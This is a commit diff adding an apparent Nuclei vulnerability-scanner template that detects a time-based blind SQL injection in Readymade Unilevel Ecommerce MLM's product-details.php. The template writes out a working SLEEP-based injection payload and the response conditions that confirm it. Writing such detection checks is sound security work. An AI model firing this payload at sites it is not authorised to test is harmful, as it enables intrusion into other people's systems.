Merge pull request #10453 from Kazgangap/madesqli

add readymade sqli

http/vulnerabilities/other/readymade-unilevel-sqli.yaml

@@ -0,0 +1,30 @@
+id: readymade-unilevel-sqli
+
+info:
+  name: Readymade Unilevel Ecommerce MLM - SQL Injection
+  author: securityforeveryone
+  severity: high
+  description: |
+    Readymade Unilevel Ecommerce software has sql vulnerability in product-details.php?id
+  reference:
+    - https://packetstormsecurity.com/files/179886/ReadyMade-Unilevel-Ecommerce-MLM-Blind-SQL-Injection-Cross-Site-Scripting.html
+  metadata:
+    vendor: i-netsolution
+    product: readymade-unilevel-ecommerce
+  tags: ecommerce,readymade,sqli
+
+http:
+  - raw:
+      - |
+        @timeout 30s
+        GET /product-details.php?id=1%20AND%20(SELECT%206812%20FROM%20(SELECT(SLEEP(6)))DddL) HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(content_type,"text/html")'
+          - 'contains_all(body, "user_login_id", "Products</a>")'
+        condition: and